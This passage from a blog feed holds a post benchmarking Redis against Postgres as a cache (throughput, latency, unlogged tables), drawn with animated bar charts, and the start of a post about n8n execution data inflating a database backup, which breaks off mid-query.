        const containerID = "bar-container-emsnk24i";
    const { onScroll, animate, createTimeline, utils, eases } = anime;
    const cont = document.getElementById(containerID);
    const vals = [
        
        {
            name: "Redis",
            value: "11258",
            color: "#D82C20"
        }
            ,
        
        {
            name: "Postgres",
            value: "7425",
            color: "#336791"
        }
            
        
    ]

    if ("desc" === "desc") {
        vals.sort((a, b) => b.value - a.value);
    } else {
        vals.sort((a, b) => a.value - b.value);
    }

    vals.forEach(result => {
        const barHeader = document.createElement("div");
        barHeader.className = "bar-header";

        const labelDiv = document.createElement("div");
        labelDiv.className = "bar-label";
        labelDiv.textContent = result.name;

        const barNumberDiv = document.createElement("div");
        barNumberDiv.className = "bar-number";

        barHeader.appendChild(labelDiv);
        barHeader.appendChild(barNumberDiv);

        const barDiv = document.createElement("div");
        barDiv.className = "bar";

        const barFillDiv = document.createElement("div");
        barFillDiv.className = "bar-fill";
        barFillDiv.style.backgroundColor = result.color;

        barDiv.appendChild(barFillDiv);
        cont.appendChild(barHeader);
        cont.appendChild(barDiv);
    })

    const [container] = utils.$('.post-content');
    const [barContainer] = utils.$('#'+containerID);
    const duration = 1500;
    const debug = false;
    const calcToPercent = (idx) => {
        const maxNumber = Math.max(...vals.map(v => v.value));
        return `${vals[idx].value/maxNumber*100}%`
    }

    const animationA = animate('#' + containerID + ' .bar-fill', {
        width: (target, index, length) => { return { from: "0%", to: calcToPercent(index), duration: 0, delay: 0} },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    const animationB = animate('#' + containerID + ' .bar-number', {
        innerHTML: (target, index, length) => { 
            return { 
                from: 0, 
                to: vals[index].value, 
                modifier: (x) => {
                    if ("true" === "true") {
                        return `${Math.round(x)} Req\/Sec`.toLowerCase()
                    }

                    return `${(Math.round(x * 100) / 100).toFixed(2)} Req\/Sec`.toLowerCase()
                }, 
                duration: duration 
            } 
        },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    
    const observer = new IntersectionObserver((entries, observer) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                animationA.play();
                animationB.play();
                observer.unobserve(entry.target);
            }
        });
    }, {
        root: null,           
        rootMargin: '-30px',   
        threshold: 0.15        
    });

    observer.observe(barContainer);

    })();
</script>
<p>Redis performed better than Postgres, which did not surprise me at all. The bottleneck was actually the HTTP server. The machine running the http server maxed out on CPU, with redis running comfortably with ~1280mCPU - short of the 2000mCPU limit imposed. Redis used ~3800MiB of RAM, which stayed flat across the runs.</p>
<p>For postgres, the bottleneck was the CPU on postgres side. It consistently maxed out the 2 cores dedicated to it, while also using ~5000MiB of RAM.</p>
<p>Redis also did better when it comes to latencies of the HTTP responses:</p>














<div class="bar-container" id="bar-container-bc9xpal3"></div>

<div class="bar-annotation">
    
        Latency, milliseconds – lower is better
    
</div>
<style>
    .bar-container {
        width: 100%;
        max-width: 600px;
        margin: 0 auto;
        font-family: sans-serif;
    }

    .bar-annotation {
        text-align: center;
        font-size: 0.85em;
        color: var(--secondary);
        margin-top: -10px;
        margin-bottom: 1em;
        font-style: italic;
    }

    .bar-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1em;
    }

    .bar-label {
        font-weight: bold;
    }

    .bar-number {
        font-weight: bold;
        z-index: 1;
    }

    .bar {
        background-color: var(--code-bg);
        height: 30px;
        margin-bottom: 20px;
        border-radius: var(--radius);
        overflow: hidden;
        position: relative;
    }

    .bar-fill {
        height: 100%;
        width: 0;
        border-radius: var(--radius);
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 10px;
        box-sizing: border-box;
        color: white;
        font-weight: bold;
        transition: width 1.5s ease-in-out;
    }
</style>


<script src="https://cdn.jsdelivr.net/npm/animejs/lib/anime.iife.min.js"></script>

<script>
    (function() {
        if (typeof anime === 'undefined') {
            console.error('Anime.js is not loaded. Please check the script source.');
            return;
        }
        const containerID = "bar-container-bc9xpal3";
    const { onScroll, animate, createTimeline, utils, eases } = anime;
    const cont = document.getElementById(containerID);
    const vals = [
        
        {
            name: "Redis - average",
            value: "44.33",
            color: "#D82C20"
        }
            ,
        
        {
            name: "Redis - median",
            value: "37.17",
            color: "#C2281D"
        }
            ,
        
        {
            name: "Postgres - average",
            value: "67.18",
            color: "#336791"
        }
            ,
        
        {
            name: "Postgres - median",
            value: "62.57",
            color: "#2E5D82"
        }
            
        
    ]

    if ("asc" === "desc") {
        vals.sort((a, b) => b.value - a.value);
    } else {
        vals.sort((a, b) => a.value - b.value);
    }

    vals.forEach(result => {
        const barHeader = document.createElement("div");
        barHeader.className = "bar-header";

        const labelDiv = document.createElement("div");
        labelDiv.className = "bar-label";
        labelDiv.textContent = result.name;

        const barNumberDiv = document.createElement("div");
        barNumberDiv.className = "bar-number";

        barHeader.appendChild(labelDiv);
        barHeader.appendChild(barNumberDiv);

        const barDiv = document.createElement("div");
        barDiv.className = "bar";

        const barFillDiv = document.createElement("div");
        barFillDiv.className = "bar-fill";
        barFillDiv.style.backgroundColor = result.color;

        barDiv.appendChild(barFillDiv);
        cont.appendChild(barHeader);
        cont.appendChild(barDiv);
    })

    const [container] = utils.$('.post-content');
    const [barContainer] = utils.$('#'+containerID);
    const duration = 1500;
    const debug = false;
    const calcToPercent = (idx) => {
        const maxNumber = Math.max(...vals.map(v => v.value));
        return `${vals[idx].value/maxNumber*100}%`
    }

    const animationA = animate('#' + containerID + ' .bar-fill', {
        width: (target, index, length) => { return { from: "0%", to: calcToPercent(index), duration: 0, delay: 0} },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    const animationB = animate('#' + containerID + ' .bar-number', {
        innerHTML: (target, index, length) => { 
            return { 
                from: 0, 
                to: vals[index].value, 
                modifier: (x) => {
                    if ("false" === "true") {
                        return `${Math.round(x)} Ms`.toLowerCase()
                    }

                    return `${(Math.round(x * 100) / 100).toFixed(2)} Ms`.toLowerCase()
                }, 
                duration: duration 
            } 
        },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    
    const observer = new IntersectionObserver((entries, observer) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                animationA.play();
                animationB.play();
                observer.unobserve(entry.target);
            }
        });
    }, {
        root: null,           
        rootMargin: '-30px',   
        threshold: 0.15        
    });

    observer.observe(barContainer);

    })();
</script>
<h3 id="setting-values-in-cache">Setting values in cache</h3>














<div class="bar-container" id="bar-container-av26hyiw"></div>

<div class="bar-annotation">
    
        Requests per second – higher is better
    
</div>
<style>
    .bar-container {
        width: 100%;
        max-width: 600px;
        margin: 0 auto;
        font-family: sans-serif;
    }

    .bar-annotation {
        text-align: center;
        font-size: 0.85em;
        color: var(--secondary);
        margin-top: -10px;
        margin-bottom: 1em;
        font-style: italic;
    }

    .bar-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1em;
    }

    .bar-label {
        font-weight: bold;
    }

    .bar-number {
        font-weight: bold;
        z-index: 1;
    }

    .bar {
        background-color: var(--code-bg);
        height: 30px;
        margin-bottom: 20px;
        border-radius: var(--radius);
        overflow: hidden;
        position: relative;
    }

    .bar-fill {
        height: 100%;
        width: 0;
        border-radius: var(--radius);
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 10px;
        box-sizing: border-box;
        color: white;
        font-weight: bold;
        transition: width 1.5s ease-in-out;
    }
</style>


<script src="https://cdn.jsdelivr.net/npm/animejs/lib/anime.iife.min.js"></script>

<script>
    (function() {
        if (typeof anime === 'undefined') {
            console.error('Anime.js is not loaded. Please check the script source.');
            return;
        }
        const containerID = "bar-container-av26hyiw";
    const { onScroll, animate, createTimeline, utils, eases } = anime;
    const cont = document.getElementById(containerID);
    const vals = [
        
        {
            name: "Redis",
            value: "10794",
            color: "#D82C20"
        }
            ,
        
        {
            name: "Postgres",
            value: "6063",
            color: "#336791"
        }
            
        
    ]

    if ("desc" === "desc") {
        vals.sort((a, b) => b.value - a.value);
    } else {
        vals.sort((a, b) => a.value - b.value);
    }

    vals.forEach(result => {
        const barHeader = document.createElement("div");
        barHeader.className = "bar-header";

        const labelDiv = document.createElement("div");
        labelDiv.className = "bar-label";
        labelDiv.textContent = result.name;

        const barNumberDiv = document.createElement("div");
        barNumberDiv.className = "bar-number";

        barHeader.appendChild(labelDiv);
        barHeader.appendChild(barNumberDiv);

        const barDiv = document.createElement("div");
        barDiv.className = "bar";

        const barFillDiv = document.createElement("div");
        barFillDiv.className = "bar-fill";
        barFillDiv.style.backgroundColor = result.color;

        barDiv.appendChild(barFillDiv);
        cont.appendChild(barHeader);
        cont.appendChild(barDiv);
    })

    const [container] = utils.$('.post-content');
    const [barContainer] = utils.$('#'+containerID);
    const duration = 1500;
    const debug = false;
    const calcToPercent = (idx) => {
        const maxNumber = Math.max(...vals.map(v => v.value));
        return `${vals[idx].value/maxNumber*100}%`
    }

    const animationA = animate('#' + containerID + ' .bar-fill', {
        width: (target, index, length) => { return { from: "0%", to: calcToPercent(index), duration: 0, delay: 0} },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    const animationB = animate('#' + containerID + ' .bar-number', {
        innerHTML: (target, index, length) => { 
            return { 
                from: 0, 
                to: vals[index].value, 
                modifier: (x) => {
                    if ("true" === "true") {
                        return `${Math.round(x)} Req\/Sec`.toLowerCase()
                    }

                    return `${(Math.round(x * 100) / 100).toFixed(2)} Req\/Sec`.toLowerCase()
                }, 
                duration: duration 
            } 
        },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    
    const observer = new IntersectionObserver((entries, observer) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                animationA.play();
                animationB.play();
                observer.unobserve(entry.target);
            }
        });
    }, {
        root: null,           
        rootMargin: '-30px',   
        threshold: 0.15        
    });

    observer.observe(barContainer);

    })();
</script>
<p>Once again Redis performed better. The CPU usage stayed roughly the same as in the case of the GET experiment, with the RAM usage growing to ~4300MiB due to the new keys being inserted. The bottleneck stayed on the HTTP server side, with Redis using ~1280mCPU once again.</p>
<p>Postgres once again was bottlenecked by the CPU, constantly using 100% of the 2 cores it was limited to. During the course of the run, the memory usage grew to ~5500MiB.</p>
<p>During the test, the endpoints with the Redis cache implementation also had better latencies:</p>














<div class="bar-container" id="bar-container-4p5hnjsl"></div>

<div class="bar-annotation">
    
        Latency, milliseconds – lower is better
    
</div>
<style>
    .bar-container {
        width: 100%;
        max-width: 600px;
        margin: 0 auto;
        font-family: sans-serif;
    }

    .bar-annotation {
        text-align: center;
        font-size: 0.85em;
        color: var(--secondary);
        margin-top: -10px;
        margin-bottom: 1em;
        font-style: italic;
    }

    .bar-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1em;
    }

    .bar-label {
        font-weight: bold;
    }

    .bar-number {
        font-weight: bold;
        z-index: 1;
    }

    .bar {
        background-color: var(--code-bg);
        height: 30px;
        margin-bottom: 20px;
        border-radius: var(--radius);
        overflow: hidden;
        position: relative;
    }

    .bar-fill {
        height: 100%;
        width: 0;
        border-radius: var(--radius);
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 10px;
        box-sizing: border-box;
        color: white;
        font-weight: bold;
        transition: width 1.5s ease-in-out;
    }
</style>


<script src="https://cdn.jsdelivr.net/npm/animejs/lib/anime.iife.min.js"></script>

<script>
    (function() {
        if (typeof anime === 'undefined') {
            console.error('Anime.js is not loaded. Please check the script source.');
            return;
        }
        const containerID = "bar-container-4p5hnjsl";
    const { onScroll, animate, createTimeline, utils, eases } = anime;
    const cont = document.getElementById(containerID);
    const vals = [
        
        {
            name: "Redis - average",
            value: "46.20",
            color: "#D82C20"
        }
            ,
        
        {
            name: "Redis - median",
            value: "38.21",
            color: "#C2281D"
        }
            ,
        
        {
            name: "Postgres - average",
            value: "82.28",
            color: "#336791"
        }
            ,
        
        {
            name: "Postgres - median",
            value: "85.74",
            color: "#2E5D82"
        }
            
        
    ]

    if ("asc" === "desc") {
        vals.sort((a, b) => b.value - a.value);
    } else {
        vals.sort((a, b) => a.value - b.value);
    }

    vals.forEach(result => {
        const barHeader = document.createElement("div");
        barHeader.className = "bar-header";

        const labelDiv = document.createElement("div");
        labelDiv.className = "bar-label";
        labelDiv.textContent = result.name;

        const barNumberDiv = document.createElement("div");
        barNumberDiv.className = "bar-number";

        barHeader.appendChild(labelDiv);
        barHeader.appendChild(barNumberDiv);

        const barDiv = document.createElement("div");
        barDiv.className = "bar";

        const barFillDiv = document.createElement("div");
        barFillDiv.className = "bar-fill";
        barFillDiv.style.backgroundColor = result.color;

        barDiv.appendChild(barFillDiv);
        cont.appendChild(barHeader);
        cont.appendChild(barDiv);
    })

    const [container] = utils.$('.post-content');
    const [barContainer] = utils.$('#'+containerID);
    const duration = 1500;
    const debug = false;
    const calcToPercent = (idx) => {
        const maxNumber = Math.max(...vals.map(v => v.value));
        return `${vals[idx].value/maxNumber*100}%`
    }

    const animationA = animate('#' + containerID + ' .bar-fill', {
        width: (target, index, length) => { return { from: "0%", to: calcToPercent(index), duration: 0, delay: 0} },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    const animationB = animate('#' + containerID + ' .bar-number', {
        innerHTML: (target, index, length) => { 
            return { 
                from: 0, 
                to: vals[index].value, 
                modifier: (x) => {
                    if ("false" === "true") {
                        return `${Math.round(x)} Ms`.toLowerCase()
                    }

                    return `${(Math.round(x * 100) / 100).toFixed(2)} Ms`.toLowerCase()
                }, 
                duration: duration 
            } 
        },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    
    const observer = new IntersectionObserver((entries, observer) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                animationA.play();
                animationB.play();
                observer.unobserve(entry.target);
            }
        });
    }, {
        root: null,           
        rootMargin: '-30px',   
        threshold: 0.15        
    });

    observer.observe(barContainer);

    })();
</script>
<h3 id="readwrite-performance">Read/write performance</h3>














<div class="bar-container" id="bar-container-cp4kjths"></div>

<div class="bar-annotation">
    
        Requests per second – higher is better
    
</div>
<style>
    .bar-container {
        width: 100%;
        max-width: 600px;
        margin: 0 auto;
        font-family: sans-serif;
    }

    .bar-annotation {
        text-align: center;
        font-size: 0.85em;
        color: var(--secondary);
        margin-top: -10px;
        margin-bottom: 1em;
        font-style: italic;
    }

    .bar-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1em;
    }

    .bar-label {
        font-weight: bold;
    }

    .bar-number {
        font-weight: bold;
        z-index: 1;
    }

    .bar {
        background-color: var(--code-bg);
        height: 30px;
        margin-bottom: 20px;
        border-radius: var(--radius);
        overflow: hidden;
        position: relative;
    }

    .bar-fill {
        height: 100%;
        width: 0;
        border-radius: var(--radius);
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 10px;
        box-sizing: border-box;
        color: white;
        font-weight: bold;
        transition: width 1.5s ease-in-out;
    }
</style>


<script src="https://cdn.jsdelivr.net/npm/animejs/lib/anime.iife.min.js"></script>

<script>
    (function() {
        if (typeof anime === 'undefined') {
            console.error('Anime.js is not loaded. Please check the script source.');
            return;
        }
        const containerID = "bar-container-cp4kjths";
    const { onScroll, animate, createTimeline, utils, eases } = anime;
    const cont = document.getElementById(containerID);
    const vals = [
        
        {
            name: "Redis",
            value: "10761",
            color: "#D82C20"
        }
            ,
        
        {
            name: "Postgres",
            value: "6776",
            color: "#336791"
        }
            
        
    ]

    if ("desc" === "desc") {
        vals.sort((a, b) => b.value - a.value);
    } else {
        vals.sort((a, b) => a.value - b.value);
    }

    vals.forEach(result => {
        const barHeader = document.createElement("div");
        barHeader.className = "bar-header";

        const labelDiv = document.createElement("div");
        labelDiv.className = "bar-label";
        labelDiv.textContent = result.name;

        const barNumberDiv = document.createElement("div");
        barNumberDiv.className = "bar-number";

        barHeader.appendChild(labelDiv);
        barHeader.appendChild(barNumberDiv);

        const barDiv = document.createElement("div");
        barDiv.className = "bar";

        const barFillDiv = document.createElement("div");
        barFillDiv.className = "bar-fill";
        barFillDiv.style.backgroundColor = result.color;

        barDiv.appendChild(barFillDiv);
        cont.appendChild(barHeader);
        cont.appendChild(barDiv);
    })

    const [container] = utils.$('.post-content');
    const [barContainer] = utils.$('#'+containerID);
    const duration = 1500;
    const debug = false;
    const calcToPercent = (idx) => {
        const maxNumber = Math.max(...vals.map(v => v.value));
        return `${vals[idx].value/maxNumber*100}%`
    }

    const animationA = animate('#' + containerID + ' .bar-fill', {
        width: (target, index, length) => { return { from: "0%", to: calcToPercent(index), duration: 0, delay: 0} },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    const animationB = animate('#' + containerID + ' .bar-number', {
        innerHTML: (target, index, length) => { 
            return { 
                from: 0, 
                to: vals[index].value, 
                modifier: (x) => {
                    if ("true" === "true") {
                        return `${Math.round(x)} Req\/Sec`.toLowerCase()
                    }

                    return `${(Math.round(x * 100) / 100).toFixed(2)} Req\/Sec`.toLowerCase()
                }, 
                duration: duration 
            } 
        },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    
    const observer = new IntersectionObserver((entries, observer) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                animationA.play();
                animationB.play();
                observer.unobserve(entry.target);
            }
        });
    }, {
        root: null,           
        rootMargin: '-30px',   
        threshold: 0.15        
    });

    observer.observe(barContainer);

    })();
</script>
<p>The mixed benchmark also returned the predictable result of Redis reigning superior. As has been the story so far, the CPU stayed put at ~1280mCPU, RAM usage grew a bit due to the new keys being inserted.</p>
<p>Postgres maxed out the two cores and reached around 6GiB of memory used.</p>
<p>Latencies once again were better when using redis:</p>














<div class="bar-container" id="bar-container-xkgyahnz"></div>

<div class="bar-annotation">
    
        Latency, milliseconds – lower is better
    
</div>
<style>
    .bar-container {
        width: 100%;
        max-width: 600px;
        margin: 0 auto;
        font-family: sans-serif;
    }

    .bar-annotation {
        text-align: center;
        font-size: 0.85em;
        color: var(--secondary);
        margin-top: -10px;
        margin-bottom: 1em;
        font-style: italic;
    }

    .bar-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1em;
    }

    .bar-label {
        font-weight: bold;
    }

    .bar-number {
        font-weight: bold;
        z-index: 1;
    }

    .bar {
        background-color: var(--code-bg);
        height: 30px;
        margin-bottom: 20px;
        border-radius: var(--radius);
        overflow: hidden;
        position: relative;
    }

    .bar-fill {
        height: 100%;
        width: 0;
        border-radius: var(--radius);
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 10px;
        box-sizing: border-box;
        color: white;
        font-weight: bold;
        transition: width 1.5s ease-in-out;
    }
</style>


<script src="https://cdn.jsdelivr.net/npm/animejs/lib/anime.iife.min.js"></script>

<script>
    (function() {
        if (typeof anime === 'undefined') {
            console.error('Anime.js is not loaded. Please check the script source.');
            return;
        }
        const containerID = "bar-container-xkgyahnz";
    const { onScroll, animate, createTimeline, utils, eases } = anime;
    const cont = document.getElementById(containerID);
    const vals = [
        
        {
            name: "Redis - average",
            value: "46.40",
            color: "#D82C20"
        }
            ,
        
        {
            name: "Redis - median",
            value: "39.23",
            color: "#C2281D"
        }
            ,
        
        {
            name: "Postgres - average",
            value: "73.67",
            color: "#336791"
        }
            ,
        
        {
            name: "Postgres - median",
            value: "72.27",
            color: "#2E5D82"
        }
            
        
    ]

    if ("asc" === "desc") {
        vals.sort((a, b) => b.value - a.value);
    } else {
        vals.sort((a, b) => a.value - b.value);
    }

    vals.forEach(result => {
        const barHeader = document.createElement("div");
        barHeader.className = "bar-header";

        const labelDiv = document.createElement("div");
        labelDiv.className = "bar-label";
        labelDiv.textContent = result.name;

        const barNumberDiv = document.createElement("div");
        barNumberDiv.className = "bar-number";

        barHeader.appendChild(labelDiv);
        barHeader.appendChild(barNumberDiv);

        const barDiv = document.createElement("div");
        barDiv.className = "bar";

        const barFillDiv = document.createElement("div");
        barFillDiv.className = "bar-fill";
        barFillDiv.style.backgroundColor = result.color;

        barDiv.appendChild(barFillDiv);
        cont.appendChild(barHeader);
        cont.appendChild(barDiv);
    })

    const [container] = utils.$('.post-content');
    const [barContainer] = utils.$('#'+containerID);
    const duration = 1500;
    const debug = false;
    const calcToPercent = (idx) => {
        const maxNumber = Math.max(...vals.map(v => v.value));
        return `${vals[idx].value/maxNumber*100}%`
    }

    const animationA = animate('#' + containerID + ' .bar-fill', {
        width: (target, index, length) => { return { from: "0%", to: calcToPercent(index), duration: 0, delay: 0} },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    const animationB = animate('#' + containerID + ' .bar-number', {
        innerHTML: (target, index, length) => { 
            return { 
                from: 0, 
                to: vals[index].value, 
                modifier: (x) => {
                    if ("false" === "true") {
                        return `${Math.round(x)} Ms`.toLowerCase()
                    }

                    return `${(Math.round(x * 100) / 100).toFixed(2)} Ms`.toLowerCase()
                }, 
                duration: duration 
            } 
        },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    
    const observer = new IntersectionObserver((entries, observer) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                animationA.play();
                animationB.play();
                observer.unobserve(entry.target);
            }
        });
    }, {
        root: null,           
        rootMargin: '-30px',   
        threshold: 0.15        
    });

    observer.observe(barContainer);

    })();
</script>
<h3 id="unlogged-tables">Unlogged tables</h3>
<p>In the benchmark, I&rsquo;ve used an unlogged table for postgres but this has not seemed to help, or has it? If I rerun the same benchmark with a normal(logged) table we can look at the numbers.</p>














<div class="bar-container" id="bar-container-j4nqzxow"></div>

<div class="bar-annotation">
    
        Requests per second – higher is better
    
</div>
<style>
    .bar-container {
        width: 100%;
        max-width: 600px;
        margin: 0 auto;
        font-family: sans-serif;
    }

    .bar-annotation {
        text-align: center;
        font-size: 0.85em;
        color: var(--secondary);
        margin-top: -10px;
        margin-bottom: 1em;
        font-style: italic;
    }

    .bar-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1em;
    }

    .bar-label {
        font-weight: bold;
    }

    .bar-number {
        font-weight: bold;
        z-index: 1;
    }

    .bar {
        background-color: var(--code-bg);
        height: 30px;
        margin-bottom: 20px;
        border-radius: var(--radius);
        overflow: hidden;
        position: relative;
    }

    .bar-fill {
        height: 100%;
        width: 0;
        border-radius: var(--radius);
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 10px;
        box-sizing: border-box;
        color: white;
        font-weight: bold;
        transition: width 1.5s ease-in-out;
    }
</style>


<script src="https://cdn.jsdelivr.net/npm/animejs/lib/anime.iife.min.js"></script>

<script>
    (function() {
        if (typeof anime === 'undefined') {
            console.error('Anime.js is not loaded. Please check the script source.');
            return;
        }
        const containerID = "bar-container-j4nqzxow";
    const { onScroll, animate, createTimeline, utils, eases } = anime;
    const cont = document.getElementById(containerID);
    const vals = [
        
        {
            name: "Postgres - Read",
            value: "7591",
            color: "#469c60"
        }
            ,
        
        {
            name: "Postgres - Read - unlogged",
            value: "7425",
            color: "#336791"
        }
            ,
        
        {
            name: "Postgres - Write",
            value: "2243",
            color: "#469c60"
        }
            ,
        
        {
            name: "Postgres - Write - unlogged",
            value: "6063",
            color: "#336791"
        }
            ,
        
        {
            name: "Postgres - Read/write",
            value: "5465",
            color: "#469c60"
        }
            ,
        
        {
            name: "Postgres - Read/write - unlogged",
            value: "6893",
            color: "#336791"
        }
            
        
    ]

    if ("desc" === "desc") {
        vals.sort((a, b) => b.value - a.value);
    } else {
        vals.sort((a, b) => a.value - b.value);
    }

    vals.forEach(result => {
        const barHeader = document.createElement("div");
        barHeader.className = "bar-header";

        const labelDiv = document.createElement("div");
        labelDiv.className = "bar-label";
        labelDiv.textContent = result.name;

        const barNumberDiv = document.createElement("div");
        barNumberDiv.className = "bar-number";

        barHeader.appendChild(labelDiv);
        barHeader.appendChild(barNumberDiv);

        const barDiv = document.createElement("div");
        barDiv.className = "bar";

        const barFillDiv = document.createElement("div");
        barFillDiv.className = "bar-fill";
        barFillDiv.style.backgroundColor = result.color;

        barDiv.appendChild(barFillDiv);
        cont.appendChild(barHeader);
        cont.appendChild(barDiv);
    })

    const [container] = utils.$('.post-content');
    const [barContainer] = utils.$('#'+containerID);
    const duration = 1500;
    const debug = false;
    const calcToPercent = (idx) => {
        const maxNumber = Math.max(...vals.map(v => v.value));
        return `${vals[idx].value/maxNumber*100}%`
    }

    const animationA = animate('#' + containerID + ' .bar-fill', {
        width: (target, index, length) => { return { from: "0%", to: calcToPercent(index), duration: 0, delay: 0} },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    const animationB = animate('#' + containerID + ' .bar-number', {
        innerHTML: (target, index, length) => { 
            return { 
                from: 0, 
                to: vals[index].value, 
                modifier: (x) => {
                    if ("true" === "true") {
                        return `${Math.round(x)} Req\/Sec`.toLowerCase()
                    }

                    return `${(Math.round(x * 100) / 100).toFixed(2)} Req\/Sec`.toLowerCase()
                }, 
                duration: duration 
            } 
        },
        ease: eases.outQuad,
        duration: duration,
        delay: 0,
        autoplay: false,
    });
    
    const observer = new IntersectionObserver((entries, observer) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                animationA.play();
                animationB.play();
                observer.unobserve(entry.target);
            }
        });
    }, {
        root: null,           
        rootMargin: '-30px',   
        threshold: 0.15        
    });

    observer.observe(barContainer);

    })();
</script>
<p>The unlogged table makes a huge difference for the write benchmark and a somewhat smaller but still significant one for the mixed workload. This is because the unlogged tables skip the write ahead log making them a lot faster for writes. There&rsquo;s very little difference for the read performance though and I expect more runs would show the two test cases converging.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Redis is faster than postgres when it comes to caching, there&rsquo;s no doubt about it. It conveniently comes with a bunch of other useful functionality that one would expect from a cache, such as TTLs. It was also bottlenecked by the hardware, my service or a combination of both and could definitely show better numbers. Surely, we should all use Redis for our caching needs then, right? Well, I think I&rsquo;ll still use postgres. Almost always, my projects need a database. Not having to add another dependency comes with its own benefits. If I need my keys to expire, I&rsquo;ll add a column for it, and a cron job to remove those keys from the table. As far as speed goes - 7425 requests per second is still a lot. That&rsquo;s more than half a billion requests per day. All on hardware that&rsquo;s 10 years old and using laptop CPUs. Not many projects will reach this scale and if they do I can just upgrade the postgres instance or if need be spin up a redis then. Having an interface for your cache so you can easily switch out the underlying store is definitely something I&rsquo;ll keep doing exactly for this purpose.</p>
<p>Thanks for reading!</p>
]]></content:encoded>
        </item>
        <item>
            <title>n8n and large files</title>
            <link>https://dizzy.zone/2025/07/30/n8n-and-large-files/</link>
            <pubDate>Wed, 30 Jul 2025 08:13:16 +0300</pubDate>
            
            <guid>https://dizzy.zone/2025/07/30/n8n-and-large-files/</guid>
            <description><![CDATA[ <p>I&rsquo;ve self hosted an n8n to automate video uploads to youtube. The idea was pretty simple - when I put an <code>mp4</code> file in a specific dir on my nas, n8n would pick it up, as well as a <code>metadata.json</code> file. The metadata file would contain things like the title and description, and it would upload this to youtube.</p>
<p>I started creating this automation and pretty soon had something that resembled the finished workflow. I started testing it out. However, I ran into a problem. I had a <code>Read/Write files from disk</code> node in my workflow, and whenever I manually executed it, it would take way too long to finish - a couple of minutes. My first thought was OK - the video files are pretty large, and we&rsquo;re likely loading them into memory. Then again, it should not take that long, as the video I was testing with was about 200MB in size. I tried playing around with it a bit more but could not get it to work properly. The spare time I had ran out, so I left it as is to continue with it when I next have time for it.</p>]]></description>
            <content:encoded><![CDATA[ <p>I&rsquo;ve self hosted an n8n to automate video uploads to youtube. The idea was pretty simple - when I put an <code>mp4</code> file in a specific dir on my nas, n8n would pick it up, as well as a <code>metadata.json</code> file. The metadata file would contain things like the title and description, and it would upload this to youtube.</p>
<p>I started creating this automation and pretty soon had something that resembled the finished workflow. I started testing it out. However, I ran into a problem. I had a <code>Read/Write files from disk</code> node in my workflow, and whenever I manually executed it, it would take way too long to finish - a couple of minutes. My first thought was OK - the video files are pretty large, and we&rsquo;re likely loading them into memory. Then again, it should not take that long, as the video I was testing with was about 200MB in size. I tried playing around with it a bit more but could not get it to work properly. The spare time I had ran out, so I left it as is to continue with it when I next have time for it.</p>
<p>A few days pass, and I notice that the s3 bucket I use for off-site backups started rapidly increasing in size. My backup script takes in a bunch of directories in my NAS that I consider critical, things like my database dumps, configuration files and similar. These are then backed up using kopia to an s3 bucket. The backup is pretty small, usually. The databases are a hundred MB, other files in the backup take a similar amount of space. It was very unusual to see the backup gaining a couple of gigabytes a day. So I went to investigate.</p>
<p>I looked at the backup, and noticed that my database dump went from 104 MB on one day, to 2.37GB the next. I quickly determined that the culprit was the <code>public.execution_data</code> table in the n8n database by first running the query:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> 
</span></span><span style="display:flex;"><span>    datname <span style="color:#66d9ef">AS</span> database_name,
</span></span><span style="display:flex;"><span>    pg_size_pretty(pg_database_size(datname)) <span style="color:#66d9ef">AS</span> <span style="color:#66d9ef">size</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> 
</span></span><span style="display:flex;"><span>    pg_database
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">ORDER</span> <span style="color:#66d9ef">BY</span> 
</span></span><span style="display:flex;"><span>    pg_database_size(datname) <span style="color:#66d9ef">DESC</span>;</span></span></code></pre></div>
<p>This helped me determine which database was the culprit. I then executed the following on the relevant database:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> 
